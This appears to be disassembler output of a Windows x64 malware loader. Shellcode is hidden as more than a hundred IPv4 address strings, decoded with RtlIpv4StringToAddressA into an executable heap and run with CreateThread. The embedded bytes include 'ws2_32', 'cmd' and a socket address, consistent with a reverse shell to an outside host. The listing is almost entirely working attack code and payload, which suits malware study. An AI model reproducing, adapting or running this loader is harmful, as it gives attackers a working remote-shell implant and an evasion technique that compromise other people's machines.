Function at 0x140001070
Capabilities:
Create thread

Disassembly:
push rbp
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2d8], rax
lea rax, str.252.72.131.228
mov qword [rsp + 0x30], rax
lea rcx, str.201.72.49.192
lea rax, str.240.232.192.0
mov qword [rbp - 0x78], rcx
mov qword [rsp + 0x38], rax
lea rax, str.0.0.65.81
mov qword [rsp + 0x40], rax
lea rax, str.65.80.82.81
mov qword [rsp + 0x48], rax
lea rax, str.86.72.49.210
mov qword [rsp + 0x50], rax
lea rax, str.101.72.139.82
mov qword [rsp + 0x58], rax
lea rax, str.96.72.139.82
mov qword [rsp + 0x60], rax
lea rax, str.24.72.139.82
mov qword [rsp + 0x68], rax
lea rax, str.32.72.139.114
mov qword [rsp + 0x70], rax
lea rax, str.80.72.15.183
mov qword [rsp + 0x78], rax
lea rax, str.74.74.77.49
mov qword [rbp - 0x80], rax
lea rax, str.172.60.97.124
mov qword [rbp - 0x70], rax
lea rax, str.2.44.32.65
mov qword [rbp - 0x68], rax
lea rax, str.193.201.13.65
mov qword [rbp - 0x60], rax
lea rax, str.1.193.226.237
mov qword [rbp - 0x58], rax
lea rax, str.82.65.81.72
mov qword [rbp - 0x50], rax
lea rax, str.139.82.32.139
mov qword [rbp - 0x48], rax
lea rax, str.66.60.72.1
mov qword [rbp - 0x40], rax
lea rax, str.208.139.128.136
mov qword [rbp - 0x38], rax
lea rax, str.0.0.0.72
mov qword [rbp - 0x30], rax
lea rax, str.133.192.116.103
mov qword [rbp - 0x28], rax
lea rax, str.72.1.208.80
mov qword [rbp - 0x20], rax
lea rax, str.139.72.24.68
mov qword [rbp - 0x18], rax
lea rax, str.139.64.32.73
mov qword [rbp - 0x10], rax
lea rax, str.1.208.227.86
mov qword [rbp - 8], rax
lea rax, str.72.255.201.65
mov qword [rbp], rax
lea rax, str.139.52.136.72
mov qword [rbp + 8], rax
lea rax, str.1.214.77.49
mov qword [rbp + 0x10], rax
lea rax, str.172.65.193.201
mov qword [rbp + 0x20], rax
lea rax, str.13.65.1.193
mov qword [rbp + 0x28], rax
lea rax, str.56.224.117.241
mov qword [rbp + 0x30], rax
lea rax, str.76.3.76.36
mov qword [rbp + 0x38], rax
lea rax, str.8.69.57.209
mov qword [rbp + 0x40], rax
lea rax, str.117.216.88.68
mov qword [rbp + 0x48], rax
lea rax, str.139.64.36.73
mov qword [rbp + 0x50], rax
lea rax, str.1.208.102.65
mov qword [rbp + 0x58], rax
lea rax, str.139.12.72.68
mov qword [rbp + 0x60], rax
lea rax, str.139.64.28.73
mov qword [rbp + 0x68], rax
lea rax, str.1.208.65.139
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x18], rcx
lea rax, str.4.136.72.1
mov qword [rbp + 0x78], rax
lea rax, str.208.65.88.65
mov qword [rbp + 0x80], rax
lea rax, str.88.94.89.90
mov qword [rbp + 0x88], rax
lea rax, str.65.88.65.89
mov qword [rbp + 0x90], rax
lea rax, str.65.90.72.131
mov qword [rbp + 0x98], rax
lea rax, str.236.32.65.82
mov qword [rbp + 0xa0], rax
lea rax, str.255.224.88.65
mov qword [rbp + 0xa8], rax
lea rax, str.89.90.72.139
mov qword [rbp + 0xb0], rax
lea rax, str.18.233.87.255
mov qword [rbp + 0xb8], rax
lea rax, str.255.255.93.73
mov qword [rbp + 0xc0], rax
lea rax, str.190.119.115.50
mov qword [rbp + 0xc8], rax
lea rax, str.95.51.50.0
mov qword [rbp + 0xd0], rax
lea rax, str.0.65.86.73
mov qword [rbp + 0xd8], rax
lea rax, str.137.230.72.129
mov qword [rbp + 0xe0], rax
lea rax, str.236.160.1.0
mov qword [rbp + 0xe8], rax
lea rax, str.0.73.137.229
mov qword [rbp + 0xf0], rax
lea rax, str.73.188.2.0
mov qword [rbp + 0xf8], rax
lea rax, str.4.210.100.91
mov qword [rbp + 0x100], rax
lea rax, str.176.26.65.84
mov qword [rbp + 0x108], rax
lea rax, str.73.137.228.76
mov qword [rbp + 0x110], rax
lea rax, str.137.241.65.186
mov qword [rbp + 0x118], rax
lea rax, str.76.119.38.7
mov qword [rbp + 0x120], rax
lea rax, str.255.213.76.137
mov qword [rbp + 0x128], rax
lea rax, str.234.104.1.1
mov qword [rbp + 0x130], rax
lea rax, str.0.0.89.65
mov qword [rbp + 0x138], rax
lea rax, str.186.41.128.107
mov qword [rbp + 0x140], rax
lea rax, str.0.255.213.80
mov qword [rbp + 0x148], rax
lea rax, str.80.77.49.201
mov qword [rbp + 0x150], rax
lea rax, str.77.49.192.72
mov qword [rbp + 0x158], rax
lea rax, str.255.192.72.137
mov qword [rbp + 0x160], rax
lea rax, str.194.72.255.192
mov qword [rbp + 0x168], rax
lea rax, str.72.137.193.65
mov qword [rbp + 0x170], rax
lea rax, str.186.234.15.223
mov qword [rbp + 0x178], rax
lea rax, str.224.255.213.72
mov qword [rbp + 0x180], rax
lea rax, str.137.199.106.16
mov qword [rbp + 0x188], rax
lea rax, str.65.88.76.137
mov qword [rbp + 0x190], rax
lea rax, str.226.72.137.249
mov qword [rbp + 0x198], rax
lea rax, str.65.186.153.165
mov qword [rbp + 0x1a0], rax
lea rax, str.116.97.255.213
mov qword [rbp + 0x1a8], rax
lea rax, str.72.129.196.64
mov qword [rbp + 0x1b0], rax
lea rax, str.2.0.0.73
mov qword [rbp + 0x1b8], rax
xor r8d, r8d
lea rax, str.184.99.109.100
mov qword [rbp + 0x2d0], 0
mov qword [rbp + 0x1c0], rax
xor edx, edx
lea rax, str.0.0.0.0
mov ecx, 0x40000
mov qword [rbp + 0x1c8], rax
lea rax, str.0.65.80.65
mov qword [rbp + 0x1d0], rax
lea rax, str.80.72.137.226
mov qword [rbp + 0x1d8], rax
lea rax, str.87.87.87.77
mov qword [rbp + 0x1e0], rax
lea rax, str.49.192.106.13
mov qword [rbp + 0x1e8], rax
lea rax, str.89.65.80.226
mov qword [rbp + 0x1f0], rax
lea rax, str.252.102.199.68
mov qword [rbp + 0x1f8], rax
lea rax, str.36.84.1.1
mov qword [rbp + 0x200], rax
lea rax, str.72.141.68.36
mov qword [rbp + 0x208], rax
lea rax, str.24.198.0.104
mov qword [rbp + 0x210], rax
lea rax, str.72.137.230.86
mov qword [rbp + 0x218], rax
lea rax, str.80.65.80.65
mov qword [rbp + 0x220], rax
lea rax, str.80.65.80.73
mov qword [rbp + 0x228], rax
lea rax, str.255.192.65.80
mov qword [rbp + 0x230], rax
lea rax, str.73.255.200.77
mov qword [rbp + 0x238], rax
lea rax, str.137.193.76.137
mov qword [rbp + 0x240], rax
lea rax, str.193.65.186.121
mov qword [rbp + 0x248], rax
lea rax, str.204.63.134.255
mov qword [rbp + 0x250], rax
lea rax, str.213.72.49.210
mov qword [rbp + 0x258], rax
lea rax, str.72.255.202.139
mov qword [rbp + 0x260], rax
lea rax, str.14.65.186.8
mov qword [rbp + 0x268], rax
lea rax, str.135.29.96.255
mov qword [rbp + 0x270], rax
lea rax, str.213.187.224.29
mov qword [rbp + 0x278], rax
lea rax, str.42.10.65.186
mov qword [rbp + 0x280], rax
lea rax, str.166.149.189.157
mov qword [rbp + 0x288], rax
lea rax, str.255.213.72.131
mov qword [rbp + 0x290], rax
lea rax, str.196.40.60.6
mov qword [rbp + 0x298], rax
lea rax, str.124.10.128.251
mov qword [rbp + 0x2a0], rax
lea rax, str.224.117.5.187
mov qword [rbp + 0x2a8], rax
lea rax, str.71.19.114.111
mov qword [rbp + 0x2b0], rax
lea rax, str.106.0.89.65
mov qword [rbp + 0x2b8], rax
lea rax, str.137.218.255.213
mov qword [rbp + 0x2c0], rax
call qword [sym.imp.KERNEL32.dll_HeapCreate]
test rax, rax
jne 0x14000169f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_a_heap___u__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400017d4
mov edx, 8
mov qword [rsp + 0x3e0], r15
mov r8d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x1400016e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_allocate_memory_on_the_heap___u__n
call fcn.140001010
lea eax, [r15 - 2]
jmp 0x1400017cc
mov qword [rsp + 0x400], rbx
xor ebx, ebx
mov qword [rsp + 0x408], rsi
mov qword [rsp + 0x410], rdi
mov rdi, r15
mov qword [rsp + 0x3e8], r14
nop word [rax + rax]
mov rsi, qword [rsp + rbx*8 + 0x30]
lea r8, [rbp + 0x2d0]
mov rcx, rsi
mov r9, rdi
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlIpv4StringToAddressA]
mov r14d, eax
test eax, eax
js 0x14000178f
add rdi, 4
inc rbx
cmp rbx, 0x73
jl 0x140001710
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, r15
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000177f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Create_the_thread___u__n
call fcn.140001010
mov eax, 0xfffffffd
jmp 0x1400017ac
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400017aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, r14d
lea rcx, str.____RtlIpv6StringToAddressA_failed_in__s_result__x___u_
mov r9d, eax
mov rdx, rsi
call fcn.140001010
xor eax, eax
mov r14, qword [rsp + 0x3e8]
mov rdi, qword [rsp + 0x410]
mov rsi, qword [rsp + 0x408]
mov rbx, qword [rsp + 0x400]
mov r15, qword [rsp + 0x3e0]
mov rcx, qword [rbp + 0x2d8]
xor rcx, rsp
call fcn.140001800
add rsp, 0x3f0
pop rbp
ret